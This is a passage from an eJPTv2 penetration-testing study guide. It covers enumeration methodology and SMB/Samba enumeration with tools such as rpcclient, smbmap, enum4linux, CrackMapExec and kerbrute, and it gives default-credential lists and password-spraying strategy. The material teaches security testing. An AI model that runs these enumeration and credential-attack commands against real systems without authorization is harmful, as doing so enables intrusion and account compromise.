SECURITY EAGLES

eJPTv2

Junior Penetration Tester Certification

STUDY GUIDE

www.securityeagles.com

FROM LEARNERS TO LEADERS

Service Enumeration

eJPTv2 Certification Study Guide

From Learners to Leaders

Security Eagles

January 1, 2026

Contents

4 Service Enumeration **4**
4.1 Enumeration Methodology . . . 4
4.1.1 What is Service Enumeration? . . . 4
4.1.2 Why Enumeration Matters . . . 4
4.1.3 Enumeration vs Scanning: Understanding the Difference . . . 5
4.1.4 The Enumeration Process: Step-by-Step . . . 5
4.1.5 Common Enumeration Techniques Across Services . . . 7
4.1.6 Enumeration Workflow Summary . . . 11
4.2 SMB/SAMBA Enumeration . . . 12
4.2.1 Understanding SMB/SAMBA . . . 12
4.2.2 Why SMB Enumeration is Critical . . . 12
4.2.3 SMB Versions and Security Implications . . . 13
4.2.4 SMB Enumeration Tools Overview . . . 13
4.2.5 Basic SMB Enumeration with Nmap . . . 13
4.2.6 SMB Share Enumeration . . . 14
4.2.7 Null Session Enumeration . . . 18
4.2.8 Comprehensive Enumeration with enum4linux . . . 22
4.2.9 Advanced SMB Enumeration with CrackMapExec . . . 24
4.2.10 SMB User Enumeration Without Null Session . . . 26
4.2.11 SMB Enumeration Workflow Summary . . . 28
4.2.12 Common SMB Enumeration Errors and Solutions . . . 29
4.2.13 SMB Enumeration Best Practices . . . 30
4.2.14 SMB Enumeration Cheat Sheet . . . 31
4.2.15 What's Next: Exploitation . . . 31
4.3 FTP Enumeration . . . 33
4.3.1 Understanding FTP (File Transfer Protocol) . . . 33
4.3.2 FTP Versions and Security . . . 33
4.3.3 FTP Enumeration with Nmap . . . 33
4.3.4 Manual FTP Enumeration . . . 34
4.3.5 Testing FTP Write Access . . . 38
4.3.6 FTP Banner Grabbing . . . 39
4.3.7 Automated FTP Enumeration Tools . . . 40

4.3.8 FTP Enumeration Workflow . . . 42
4.3.9 FTP Enumeration Cheat Sheet . . . 43
4.4 SSH Enumeration . . . 44
4.4.1 Understanding SSH (Secure Shell) . . . 44
4.4.2 SSH Versions and Security . . . 44
4.4.3 SSH Enumeration with Nmap . . . 45
4.4.4 SSH Banner Grabbing . . . 46
4.4.5 SSH Authentication Methods Enumeration . . . 47
4.4.6 SSH User Enumeration . . . 48
4.4.7 SSH Algorithm Enumeration . . . 49
4.4.8 SSH Password Attacks . . . 51
4.4.9 SSH Key-Based Authentication . . . 53
4.4.10 SSH Enumeration Workflow . . . 54
4.4.11 SSH Enumeration Cheat Sheet . . . 55
4.5 HTTP/HTTPS Enumeration . . . 56
4.5.1 Understanding Web Services . . . 56
4.5.2 Web Technology Identification . . . 56
4.5.3 Directory and File Enumeration . . . 57
4.5.4 Nikto Web Vulnerability Scanner . . . 60
4.5.5 Manual Web Enumeration . . . 61
4.5.6 Web Enumeration Workflow . . . 63
4.5.7 HTTP/HTTPS Enumeration Cheat Sheet . . . 64
4.6 MYSQL Enumeration . . . 65
4.6.1 Understanding MySQL . . . 65
4.6.2 MySQL Version Detection . . . 65
4.6.3 MySQL Login Testing . . . 66
4.6.4 MySQL Enumeration Commands . . . 67
4.6.5 Extracting Sensitive Data . . . 68
4.6.6 MySQL Password Attacks . . . 69
4.6.7 MySQL Enumeration Workflow . . . 70
4.6.8 Advanced MySQL Techniques . . . 70
4.6.9 MySQL Enumeration Cheat Sheet . . . 72
4.7 RDP & WINRM Enumeration . . . 73
4.7.1 Understanding Remote Access Services . . . 73

4.7.2 RDP Enumeration 73
4.7.3 WinRM Enumeration 75
4.7.4 RDP & WinRM Enumeration Workflow 77
4.7.5 RDP & WinRM Cheat Sheet 78
4.8 Service Enumeration Final Summary 79
4.8.1 Services Covered 79
4.8.2 Master Enumeration Checklist 80
4.8.3 Common Enumeration Findings and Actions 81
4.8.4 eJPTv2 Exam Tips 81
4.8.5 Next Steps 81

4 Service Enumeration

4.1 Enumeration Methodology

4.1.1 What is Service Enumeration?

Service Enumeration is the process of extracting detailed information from services running on open ports discovered during the scanning phase. While port scanning tells you WHAT is running (Port 445 open), enumeration tells you HOW it's configured and WHAT vulnerabilities exist.

Key Difference:

Port Scanning answers: "Is the door open?"

Service Enumeration answers: "What's behind the door? Is it locked? What's inside?"

4.1.2 Why Enumeration Matters

Enumeration bridges the gap between reconnaissance and exploitation. Without proper enumeration, you're attacking blindly.

What Enumeration Reveals:

- Service versions and banner information
- User accounts and group memberships
- Shared resources (files, folders, printers)
- Network configuration and topology
- Operating system details
- Security misconfigurations
- Default credentials and weak passwords
- Accessible databases and applications

Real-World Example:

You discover Port 445 (SMB) is open on a Windows server. Basic scan shows it's running SMB. Enumeration reveals:

- Windows Server 2012 R2 (outdated, vulnerable to EternalBlue)
- Anonymous login enabled (no password required)
- Shared folder "Backups" contains database credentials
- User accounts: admin, john, sarah (potential targets for password attacks)

This information transforms a simple open port into multiple attack vectors.

4.1.3 Enumeration vs Scanning: Understanding the Difference

Aspect	Port Scanning	Service Enumeration
Goal	Find open ports	Extract detailed service information
Depth	Surface-level (port states)	Deep dive into service configuration
Tools	Nmap basic scans	Service-specific tools (enum4linux, smbclient)
Output	"Port 445 open"	"SMB v2, anonymous login, 3 shares accessible"
Time	Fast (seconds to minutes)	Slower (minutes to hours per service)
Noise	Lower detection risk	Higher detection risk (more intrusive)

4.1.4 The Enumeration Process: Step-by-Step

Phase 1: Port Scan Results Analysis

Start with your Nmap scan results from the previous phase.

Analyzing Scan Results

```
# Review your previous scan results
cat nmap_results.txt

# Extract open ports
grep "open" nmap_results.txt

# Identify high-value targets (SMB, FTP, SSH, HTTP, MYSQL)
grep -E "445|21|22|80|3306" nmap_results.txt
```

Terminal Output - Example Scan Results

```
$ cat nmap_results.txt

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.4p1
80/tcp   open  http        Apache httpd 2.4.6
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu
3306/tcp open  mysql       MySQL 5.7.32
```

Phase 2: Service Prioritization

Not all services are equally valuable. Prioritize based on:

1. **Attack Surface** - Services with known vulnerabilities
2. **Information Value** - Services that reveal user data (SMB, FTP)

3. **Access Level** - Services that provide shell access (SSH, RDP)
4. **Criticality** - Databases and file shares (high-value targets)

Service Priority for eJPTv2

High Priority (Enumerate First):

- SMB/SAMBA (Port 445, 139) - File shares, user enumeration
- FTP (Port 21) - Anonymous login, file access
- HTTP/HTTPS (Port 80, 443) - Web vulnerabilities, directory traversal
- MySQL/MSSQL (Port 3306, 1433) - Database access

Medium Priority:

- SSH (Port 22) - User enumeration, brute force target
- RDP (Port 3389) - Remote desktop access
- SMTP (Port 25) - Email enumeration

Lower Priority (Enumerate if Time Permits):

- DNS (Port 53) - Zone transfers
- SNMP (Port 161) - Network device info
- NTP (Port 123) - Time synchronization info

Phase 3: Service-Specific Enumeration

Each service requires specialized tools and techniques.

Service	Port	Primary Tools
SMB/SAMBA	445, 139	enum4linux, smbclient, smbmap, crackmapexec
FTP	21	ftp, nmap scripts (ftp-anon, ftp-bounce)
SSH	22	ssh, hydra, nmap scripts (ssh-auth-methods)
HTTP/HTTPS	80, 443	gobuster, nikto, dirb, burp suite, curl
MySQL	3306	mysql client, nmap scripts (mysql-*)
RDP	3389	xfreerdp, rdesktop, nmap scripts

Phase 4: Information Extraction and Documentation

As you enumerate, document everything:

- Service versions (check for CVEs)
- User accounts discovered
- Shared resources and permissions

- Default credentials found
- Configuration weaknesses
- Potential attack paths

Creating an Enumeration Notes File

```
# Create structured notes
mkdir enumeration_notes
cd enumeration_notes

# Create service-specific files
touch smb_enum.txt
touch ftp_enum.txt
touch http_enum.txt
touch mysql_enum.txt

# Example: Documenting SMB findings
echo "=== SMB Enumeration ===" > smb_enum.txt
echo "Target: 192.168.1.10" >> smb_enum.txt
echo "Date: $(date)" >> smb_enum.txt
echo "" >> smb_enum.txt
```

4.1.5 Common Enumeration Techniques Across Services

Banner Grabbing

Banner grabbing extracts service version information by connecting to the service.

Manual Banner Grabbing

```
# Using Netcat to grab banners
nc -nv 192.168.1.10 21     # FTP
nc -nv 192.168.1.10 22     # SSH
nc -nv 192.168.1.10 25     # SMTP
nc -nv 192.168.1.10 80     # HTTP

# Using Telnet (alternative)
telnet 192.168.1.10 21
telnet 192.168.1.10 80

# Using Nmap for automated banner grabbing
nmap -sV --script banner 192.168.1.10
```

Terminal Output - FTP Banner Grab Example

```
$ nc -nv 192.168.1.10 21

Connection to 192.168.1.10 21 port [tcp/*] succeeded!
220 (vsFTPd 3.0.3)
```

Banner Grabbing Analysis

Information Revealed:

- Service name: vsFTPd
- Version: 3.0.3
- Next step: Search for "vsFTPd 3.0.3 exploit" in exploit databases

Anonymous and Default Credential Testing

Many services allow anonymous access or ship with default credentials.

Testing Anonymous Access

```
# FTP anonymous login
ftp 192.168.1.10
# Username: anonymous
# Password: (blank or anonymous@domain.com)

# SMB null session (anonymous)
smbclient -L //192.168.1.10 -N

# MySQL anonymous login
mysql -h 192.168.1.10 -u root

# HTTP basic auth (try common defaults)
curl -u admin:admin http://192.168.1.10
```

Common Default Credentials

Databases:

- MySQL: root / (blank), root / root, root / password
- PostgreSQL: postgres / postgres
- MSSQL: sa / (blank), sa / sa

Web Applications:

- admin / admin
- admin / password
- administrator / administrator
- root / root

Network Devices:

- admin / admin
- cisco / cisco
- root / toor

Always try these BEFORE brute-forcing passwords!

Nmap NSE Scripts for Enumeration

Nmap's scripting engine automates much of the enumeration process.

Service-Specific NSE Enumeration

```
# SMB enumeration scripts
nmap --script smb-enum-shares,smb-enum-users -p 445 192.168.1.10

# FTP enumeration scripts
nmap --script ftp-anon,ftp-bounce -p 21 192.168.1.10

# SSH enumeration scripts
nmap --script ssh-auth-methods,ssh2-enum-algos -p 22 192.168.1.10

# HTTP enumeration scripts
nmap --script http-enum,http-headers -p 80 192.168.1.10

# MySQL enumeration scripts
nmap --script mysql-info,mysql-enum -p 3306 192.168.1.10

# Run ALL enumeration scripts for a service
nmap --script "smb-enum-*" -p 445 192.168.1.10
```

4.1.6 Enumeration Workflow Summary

Complete Enumeration Methodology

Step 1: Prepare

1. Review port scan results
2. Identify services to enumerate
3. Prioritize high-value targets
4. Create documentation structure

Step 2: Initial Reconnaissance

1. Banner grabbing for all services
2. Test anonymous access
3. Try default credentials
4. Run automated Nmap scripts

Step 3: Deep Enumeration (Service-Specific)

1. Use specialized tools for each service
2. Extract user accounts, shares, configurations
3. Identify misconfigurations and weaknesses
4. Map potential attack paths

Step 4: Document and Analyze

1. Organize findings by service
2. Cross-reference usernames across services
3. Identify version-specific vulnerabilities
4. Prepare target list for exploitation phase

4.2 SMB/SAMBA Enumeration

4.2.1 Understanding SMB/SAMBA

What is SMB?

SMB (Server Message Block) is a network file sharing protocol that allows applications to read and write files and request services from network devices. It's primarily used in Windows environments but also supported on Linux/Unix via SAMBA.

Key Concepts:

- **SMB** - Microsoft's implementation (Windows)
- **SAMBA** - Open-source implementation (Linux/Unix)
- **NetBIOS** - Legacy naming service (Port 139)
- **Direct SMB** - Modern implementation (Port 445)

Common Ports:

Port	Service	Purpose
139/tcp	NetBIOS-SSN	Legacy SMB over NetBIOS
445/tcp	microsoft-ds	Direct SMB (modern, most common)
137/udp	NetBIOS-NS	NetBIOS Name Service
138/udp	NetBIOS-DGM	NetBIOS Datagram Service

4.2.2 Why SMB Enumeration is Critical

SMB is one of the MOST valuable services for penetration testers because it often reveals:

- **User accounts** - Full list of domain/local users
- **Shared folders** - File shares, potentially sensitive data
- **Domain information** - Domain name, domain controller location
- **Password policies** - Lockout thresholds, complexity requirements
- **Group memberships** - Admin groups, privilege relationships
- **Null session access** - Anonymous enumeration without credentials

Attack Scenarios:

1. Find user accounts → Use in password spraying attacks
2. Discover shared folders → Access sensitive files (credentials, configs)
3. Identify domain admins → Target high-privilege accounts
4. Map network structure → Plan lateral movement

4.2.3 SMB Versions and Security Implications

Version	Release	Security Notes
SMBv1	1990s	HIGHLY VULNERABLE - EternalBlue (MS17-010), should be disabled
SMBv2	2006	Improved security but still has vulnerabilities
SMBv3	2012	Modern, encrypted, most secure version

SMBv1 WARNING

If you discover SMBv1 enabled on a target:

- Target is HIGHLY vulnerable to exploitation
- Check for EternalBlue (MS17-010) immediately
- May allow remote code execution without credentials
- This is a CRITICAL finding in any assessment

4.2.4 SMB Enumeration Tools Overview

Tool	Purpose	Difficulty
enum4linux	All-in-one SMB enumeration (Linux)	Easy
smbclient	Interactive SMB client, browse shares	Easy
smbmap	Map SMB shares and permissions	Easy
crackmapexec	Advanced SMB enumeration and exploitation	Medium
rpcclient	Remote Procedure Call enumeration	Medium
Nmap NSE	Automated SMB scripts	Easy

4.2.5 Basic SMB Enumeration with Nmap

Start with Nmap to identify SMB version and gather basic information.

Nmap SMB Enumeration

```
# Identify SMB version
nmap -p 445 --script smb-protocols 192.168.1.10

# Enumerate SMB shares
nmap -p 445 --script smb-enum-shares 192.168.1.10

# Enumerate SMB users
nmap -p 445 --script smb-enum-users 192.168.1.10

# Check for SMB vulnerabilities
nmap -p 445 --script smb-vuln-* 192.168.1.10

# Comprehensive SMB scan (all scripts)
nmap -p 139,445 --script "smb-*" 192.168.1.10
```

Terminal Output - Nmap SMB Protocol Detection

```
$ nmap -p 445 --script smb-protocols 192.168.1.10

445/tcp open  microsoft-ds

Host script results:
| smb-protocols:
|   dialects:
|     NT LM 0.12 (SMBv1) [dangerous, but detected]
|     2.02
|     2.10
|     3.00
|_    3.02
```

SMB Protocol Analysis

Critical Finding: SMBv1 is enabled!
Immediate Actions:

1. Check for MS17-010 (EternalBlue) vulnerability
2. Attempt SMBv1-specific exploits
3. This is a HIGH priority target

Command:

```
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.10
```

4.2.6 SMB Share Enumeration

Using smbclient (Interactive)

smbclient is like an FTP client for SMB shares.

smbclient Basic Usage

```
# List available shares (no credentials)
smbclient -L //192.168.1.10 -N

# List shares with username
smbclient -L //192.168.1.10 -U username

# Connect to specific share
smbclient //192.168.1.10/ShareName -N

# Connect with credentials
smbclient //192.168.1.10/ShareName -U username%password
```

Terminal Output - smbclient Share Listing

```
$ smbclient -L //192.168.1.10 -N

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
Backups         Disk      Company Backup Files
Users           Disk      User Home Directories
```

Understanding SMB Shares

Default Windows Shares:

- **ADMIN$** - Remote administration (requires admin access)
- **C$** - Full C: drive access (requires admin access)
- **IPC$** - Inter-Process Communication (used for null sessions)

Custom Shares (High Value):

- **Backups** - May contain database dumps, configuration files
- **Users** - Home directories, potential credentials
- **Shared** - Company documents, sensitive data

Next Step: Try accessing each custom share!

Interactive smbclient Session

Browsing SMB Shares

```
# Connect to a share
smbclient //192.168.1.10/Backups -N


# Once connected, use these commands:
smb: \> ls                      # List files
smb: \> cd directory            # Change directory
smb: \> get filename            # Download file
smb: \> mget *                  # Download all files
smb: \> put localfile           # Upload file
smb: \> help                    # Show all commands
smb: \> exit                    # Disconnect
```

Terminal Output - SMB Share Browsing

```
$ smbclient //192.168.1.10/Backups -N

smb: \> ls
  .                                   D        0  Mon Dec 16 10:23:41 2024
  ..                                  D        0  Mon Dec 16 10:23:41 2024
  database_backup.sql                 N  1048576  Mon Dec 16 09:15:22 2024
  config.xml                          N     4096  Mon Dec 16 09:20:10 2024
  passwords.txt                       N      512  Mon Dec 16 08:45:33 2024

smb: \> get passwords.txt
getting file \passwords.txt of size 512 as passwords.txt
```

HIGH-VALUE FILES TO LOOK FOR

When browsing SMB shares, prioritize these files:
Configuration Files:

- config.xml, web.config, settings.ini
- May contain database credentials, API keys

Backup Files:

- .sql, .bak, .zip, .tar.gz
- Often contain complete database dumps

Credential Files:

- passwords.txt, creds.txt, users.csv
- Plaintext credentials (rare but happens!)

Scripts and Code:

- .ps1 (PowerShell), .sh (Bash), .py (Python)
- May contain hardcoded passwords

Using smbmap for Quick Assessment

smbmap provides a fast overview of all accessible shares and permissions.

smbmap Usage

```
# List shares without credentials
smbmap -H 192.168.1.10

# List shares with credentials
smbmap -H 192.168.1.10 -u username -p password

# Recursive directory listing
smbmap -H 192.168.1.10 -R

# Download specific file
smbmap -H 192.168.1.10 --download 'Backups\passwords.txt'

# Execute command (if you have permissions)
smbmap -H 192.168.1.10 -u admin -p password -x 'ipconfig'
```

Terminal Output - smbmap Share Permissions

```
$ smbmap -H 192.168.1.10

[+] IP: 192.168.1.10:445        Name: target.local
        Disk                    Permissions     Comment
        ----                    -----------     -------
        ADMIN$                  NO ACCESS       Remote Admin
        C$                      NO ACCESS       Default share
        IPC$                    READ ONLY       Remote IPC
        Backups                 READ, WRITE     Company Backup Files
        Users                   READ ONLY       User Home Directories
```

smbmap Permission Analysis

Understanding Permissions:

- **NO ACCESS** - Cannot read or write (normal for admin shares)
- **READ ONLY** - Can browse and download files
- **READ, WRITE** - Full access (can upload/modify files)

Critical Finding: Backups share has READ, WRITE access!
Attack Opportunities:

1. Download backup files for credential harvesting
2. Upload malicious files (if application reads from this share)
3. Modify existing files for privilege escalation

4.2.7 Null Session Enumeration

A null session is an anonymous connection to SMB that requires no username or password. This is a severe misconfiguration that allows attackers to enumerate users, shares, and policies without authentication.

What is a Null Session?

Null sessions exploit the IPC$ (Inter-Process Communication) share on Windows systems. When misconfigured, this share allows anonymous connections, enabling:

- User account enumeration
- Share enumeration
- Password policy discovery
- Group membership enumeration
- Domain information gathering

Testing for Null Session

Null Session Testing

```
# Using rpcclient (most common method)
rpcclient -U "" -N 192.168.1.10

# Using smbclient
smbclient -L //192.168.1.10 -N

# Using enum4linux (automated)
enum4linux -n 192.168.1.10

# Using crackmapexec
crackmapexec smb 192.168.1.10 -u '' -p ''
```

Terminal Output - Successful Null Session

```
$ rpcclient -U "" -N 192.168.1.10

rpcclient $>
```

Null Session Success Indicators

If Null Session Works:

- rpcclient connects without prompting for password
- smbclient lists shares without authentication
- You see "rpcclient $>" prompt

If Null Session Fails:

- "NT_STATUS_ACCESS_DENIED" error
- "Session setup failed" message
- Connection immediately closes

Note: Null sessions are rare on modern Windows (disabled by default since Windows Server 2008), but still common on older systems and some Linux SAMBA implementations.

Exploiting Null Sessions with rpcclient

Once connected via null session, rpcclient provides powerful enumeration capabilities.

rpcclient Enumeration Commands

```
# Connect via null session
rpcclient -U "" -N 192.168.1.10

# Inside rpcclient prompt:
rpcclient $> enumdomusers          # List all domain users
rpcclient $> enumdomgroups         # List all domain groups
rpcclient $> querydominfo          # Get domain information
rpcclient $> getdompwinfo          # Get password policy
rpcclient $> querydispinfo         # Detailed user information
rpcclient $> netshareenum          # Enumerate shares
rpcclient $> srvinfo               # Server information
```

Terminal Output - rpcclient User Enumeration

```
rpcclient $> enumdomusers

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[john] rid:[0x3e8]
user:[sarah] rid:[0x3e9]
user:[mike] rid:[0x3ea]
user:[admin] rid:[0x3eb]
```

rpcclient Output Analysis

Key Information:

- **user:[username]** - Account name
- **rid:[0x...]** - Relative Identifier (unique user ID)

High-Value Targets:

- Administrator (RID 0x1f4 / 500) - Built-in admin account
- admin, root - Custom admin accounts
- Service accounts (sql_service, backup_admin) - Often weak passwords

Next Steps:

1. Save usernames to a file: userlist.txt
2. Use for password spraying attacks
3. Check for default/weak passwords

Extracting Usernames for Attacks

```
# Save rpcclient output to file
rpcclient -U "" -N 192.168.1.10 -c "enumdomusers" > users_raw.txt

# Extract just usernames
cat users_raw.txt | grep -oP 'user:\[\K[^\]]+' > userlist.txt

# View clean username list
cat userlist.txt
```

Terminal Output - Clean Username List

```
$ cat userlist.txt

Administrator
Guest
john
sarah
mike
admin
```

Password Policy Enumeration

Discovering password policies is crucial for planning password attacks.

Password Policy Discovery

```
# Using rpcclient
rpcclient -U "" -N 192.168.1.10 -c "getdompwinfo"

# Using enum4linux (includes password policy)
enum4linux -P 192.168.1.10

# Using crackmapexec
crackmapexec smb 192.168.1.10 --pass-pol
```

Terminal Output - Password Policy Output

```
$ rpcclient -U "" -N 192.168.1.10 -c "getdompwinfo"

Password Info for Domain: WORKGROUP

min_password_length: 0
password_properties: 0x00000000
```

Password Policy Analysis

Key Fields to Check:

- **min_password_length: 0** - No minimum password (WEAK!)
- **password_properties: 0x00000000** - No complexity requirements
- **lockout_threshold: 0** - No account lockout (unlimited attempts!)
- **lockout_duration: 30 minutes** - Account locks for 30 min after threshold

Attack Strategy Based on Policy:

- If lockout_threshold = 0: Full brute force possible
- If lockout_threshold = 3-5: Password spraying only (try 1 password for all users)
- If min_password_length = 0: Try blank passwords first
- If no complexity: Try simple passwords (password, Password1, Company123)

4.2.8 Comprehensive Enumeration with enum4linux

enum4linux is an all-in-one tool that automates SMB enumeration. It combines multiple techniques into a single scan.

enum4linux Usage

```
# Basic enumeration (null session)
enum4linux 192.168.1.10

# Full enumeration (all options)
enum4linux -a 192.168.1.10

# Specific enumeration types:
enum4linux -U 192.168.1.10      # Users only
enum4linux -S 192.168.1.10      # Shares only
enum4linux -G 192.168.1.10      # Groups only
enum4linux -P 192.168.1.10      # Password policy only
enum4linux -o 192.168.1.10      # OS information only

# With credentials
enum4linux -u username -p password 192.168.1.10

# Save output to file
enum4linux -a 192.168.1.10 | tee enum4linux_results.txt
```

Terminal Output - enum4linux Sample Output

```
$ enum4linux -a 192.168.1.10

Starting enum4linux v0.8.9

 ==========================
|    Target Information    |
 ==========================
Target ........... 192.168.1.10
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''

 ====================================
|    Session Check on 192.168.1.10  |
 ====================================
[+] Server allows sessions using username '', password ''

 ==========================================
|    Getting domain SID for 192.168.1.10   |
 ==========================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)

 =====================================
|    OS information on 192.168.1.10   |
 =====================================
[+] Got OS info for 192.168.1.10 from smbclient:
[+] Got OS info for 192.168.1.10 from srvinfo:
        FILESERVER     Wk Sv PrQ Unx NT SNT Samba 4.7.6-Ubuntu

 =====================================
|    Share Enumeration on 192.168.1.10|
 =====================================

        Sharename       Type      Comment
        ---------       ----      -------
        Backups         Disk      Company Backup Files
        Users           Disk      User Home Directories
        IPC$            IPC       IPC Service

 =====================================
|    Users on 192.168.1.10            |
 =====================================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: john
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: sarah
index: 0x3 RID: 0x3ea acb: 0x00000010 Account: mike
```

enum4linux Output Interpretation

Session Check:

- "Server allows sessions using username ", password "" = Null session works!

Domain Information:

- Domain Name: WORKGROUP = Standalone server (not domain-joined)
- Domain Name: CORP = Domain environment (higher value target)

OS Information:

- "Samba 4.7.6-Ubuntu" = Linux server running SAMBA
- "Windows Server 2012 R2" = Windows server (check for SMBv1)

Share Enumeration:

- Custom shares (Backups, Users) = High-value targets
- Access each share manually to extract files

User Enumeration:

- Save usernames for password attacks
- Cross-reference with other services (SSH, FTP)

4.2.9 Advanced SMB Enumeration with CrackMapExec

CrackMapExec (CME) is a powerful post-exploitation tool that also excels at enumeration.

CrackMapExec SMB Enumeration

```
# Basic SMB enumeration
crackmapexec smb 192.168.1.10

# Enumerate with null session
crackmapexec smb 192.168.1.10 -u '' -p ''

# Enumerate with credentials
crackmapexec smb 192.168.1.10 -u username -p password

# Enumerate shares
crackmapexec smb 192.168.1.10 -u '' -p '' --shares

# Enumerate users
crackmapexec smb 192.168.1.10 -u '' -p '' --users

# Get password policy
crackmapexec smb 192.168.1.10 --pass-pol

# Check for SMBv1
crackmapexec smb 192.168.1.10 --gen-relay-list relay_targets.txt

# Scan entire subnet
crackmapexec smb 192.168.1.0/24
```

Terminal Output - CrackMapExec Output

```
$ crackmapexec smb 192.168.1.10

SMB         192.168.1.10    445    FILESERVER   [*] Windows Server 2012 R2
    Standard 9600 x64
SMB         192.168.1.10    445    FILESERVER   [+] WORKGROUP\Administrator:
    Password123 (Pwn3d!)
```

CrackMapExec Status Indicators

Connection Status:

- **[*]** - Connection established, service detected
- **[+]** - Valid credentials provided
- **[-]** - Authentication failed
- **(Pwn3d!)** - Administrator-level access achieved!

(Pwn3d!) Meaning: When you see this, you have administrative privileges on the target. You can:

- Execute commands remotely
- Dump password hashes
- Access all shares including C$ and ADMIN$
- Deploy Metasploit payloads

4.2.10 SMB User Enumeration Without Null Session

If null sessions are disabled, you can still enumerate users through alternative methods.

RID Cycling (User Enumeration by RID)

Every user account has a Relative Identifier (RID). By cycling through RIDs, we can discover usernames.

RID Cycling with enum4linux

```
# RID cycling (default range 500-550, 1000-1050)
enum4linux -r 192.168.1.10

# Custom RID range
enum4linux -R 500-600 192.168.1.10

# Extensive RID range (slower but more comprehensive)
enum4linux -R 500-2000 192.168.1.10
```

Terminal Output - RID Cycling Output

```
$ enum4linux -r 192.168.1.10

 ========================================
|    Users on 192.168.1.10 via RID     |
 ========================================
[+] Enumerating users using SID S-1-5-21-xxx-xxx-xxx
S-1-5-21-xxx-xxx-xxx-500 FILESERVER\Administrator (Local User)
S-1-5-21-xxx-xxx-xxx-501 FILESERVER\Guest (Local User)
S-1-5-21-xxx-xxx-xxx-1000 FILESERVER\john (Local User)
S-1-5-21-xxx-xxx-xxx-1001 FILESERVER\sarah (Local User)
```

User Enumeration via Kerberos (Port 88)

If Kerberos is available (domain environment), you can enumerate users without SMB access.

Kerberos User Enumeration

```
# Using kerbrute (faster than traditional methods)
kerbrute userenum --dc 192.168.1.10 -d domain.local userlist.txt

# Using Nmap NSE scripts
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='
    domain.local' 192.168.1.10
```

4.2.11 SMB Enumeration Workflow Summary

Complete SMB Enumeration Process

Step 1: Initial Detection (Port Scanning)

```
nmap -p 139,445 --script smb-protocols 192.168.1.10
```

Step 2: Check for SMBv1 and Vulnerabilities

```
nmap -p 445 --script smb-vuln-* 192.168.1.10
```

Step 3: Test Null Session

```
rpcclient -U "" -N 192.168.1.10
smbclient -L //192.168.1.10 -N
```

Step 4: Automated Enumeration

```
enum4linux -a 192.168.1.10 | tee enum4linux.txt
```

Step 5: Share Enumeration and Access

```
smbmap -H 192.168.1.10
smbclient //192.168.1.10/ShareName -N
```

Step 6: Extract Users and Password Policy

```
rpcclient -U "" -N 192.168.1.10 -c "enumdomusers" | grep -oP 'user:\[\K
    [^\]]+' > users.txt
crackmapexec smb 192.168.1.10 --pass-pol
```

Step 7: Document Findings

- SMB version and vulnerabilities
- Accessible shares and files downloaded
- Username list for password attacks
- Password policy (lockout threshold)
- Domain/workgroup information

4.2.12 Common SMB Enumeration Errors and Solutions

Troubleshooting SMB Enumeration

Error: NT_STATUS_ACCESS_DENIED

- Cause: Null sessions disabled or insufficient permissions
- Solution: Try with valid credentials or RID cycling

Error: Connection reset by peer

- Cause: Firewall blocking SMB or incorrect SMB version
- Solution: Check if port 445 is truly open, try SMBv1 explicitly

Error: protocol negotiation failed

- Cause: Client/server SMB version mismatch
- Solution: Force SMBv1: `smbclient -L //IP -option='client min protocol=NT1'`

Error: tree connect failed

- Cause: Share doesn't exist or no permissions
- Solution: Verify share name with `smbmap` or `enum4linux`

4.2.13 SMB Enumeration Best Practices

Professional SMB Enumeration Tips

Documentation:

- Always save enum4linux output: `enum4linux -a IP | tee output.txt`
- Create a dedicated folder for each target's SMB findings
- Screenshot or log any sensitive files discovered

Efficiency:

- Start with automated tools (enum4linux) before manual enumeration
- Use smbmap for quick share permission overview
- Only download files that appear valuable (don't waste time)

Stealth Considerations:

- Null session attempts are logged on modern systems
- Excessive share browsing triggers IDS alerts
- Failed login attempts may lock accounts
- Test one share at a time to avoid detection

Common Mistakes to Avoid:

- Don't skip password policy enumeration (critical for attacks)
- Don't ignore Linux SAMBA servers (often misconfigured)
- Don't assume null sessions won't work (always test first)
- Don't forget to check for SMBv1 vulnerabilities

4.2.14 SMB Enumeration Cheat Sheet

Quick Reference Commands

```
# === DETECTION === #
nmap -p 139,445 --script smb-protocols TARGET

# === NULL SESSION TESTING === #
rpcclient -U "" -N TARGET
smbclient -L //TARGET -N

# === COMPREHENSIVE ENUMERATION === #
enum4linux -a TARGET | tee enum4linux.txt

# === SHARE ENUMERATION === #
smbmap -H TARGET
smbclient -L //TARGET -N

# === USER ENUMERATION === #
rpcclient -U "" -N TARGET -c "enumdomusers"
enum4linux -U TARGET

# === PASSWORD POLICY === #
rpcclient -U "" -N TARGET -c "getdompwinfo"
crackmapexec smb TARGET --pass-pol

# === VULNERABILITY SCANNING === #
nmap -p 445 --script smb-vuln-* TARGET

# === SHARE ACCESS === #
smbclient //TARGET/ShareName -N
smbmap -H TARGET --download 'ShareName\file.txt'

# === WITH CREDENTIALS === #
smbclient //TARGET/ShareName -U username%password
crackmapexec smb TARGET -u username -p password --shares
```

4.2.15 What's Next: Exploitation

After completing SMB enumeration, you should have:

- Complete list of SMB shares and permissions
- Usernames for password attacks
- Password policy (lockout threshold, complexity)
- Files downloaded from accessible shares
- SMB version and known vulnerabilities
- Domain/workgroup structure

Next Steps:

1. **If SMBv1 detected:** Attempt EternalBlue (MS17-010) exploitation
2. **If null session works:** Extract all users and perform password spraying
3. **If shares accessible:** Search downloaded files for credentials
4. **If users enumerated:** Create wordlist and attempt brute force (respecting lockout policy)
5. **If valid credentials obtained:** Use for lateral movement and privilege escalation

4.3 FTP Enumeration

4.3.1 Understanding FTP (File Transfer Protocol)

FTP is one of the oldest network protocols, designed for transferring files between systems. Despite its age, it remains widely deployed and often misconfigured, making it a valuable target during penetration testing.

Key Characteristics:

- **Port 21** - Control connection (commands)
- **Port 20** - Data connection (file transfers)
- **Clear-text protocol** - Credentials sent unencrypted
- **Active vs Passive modes** - Different connection methods
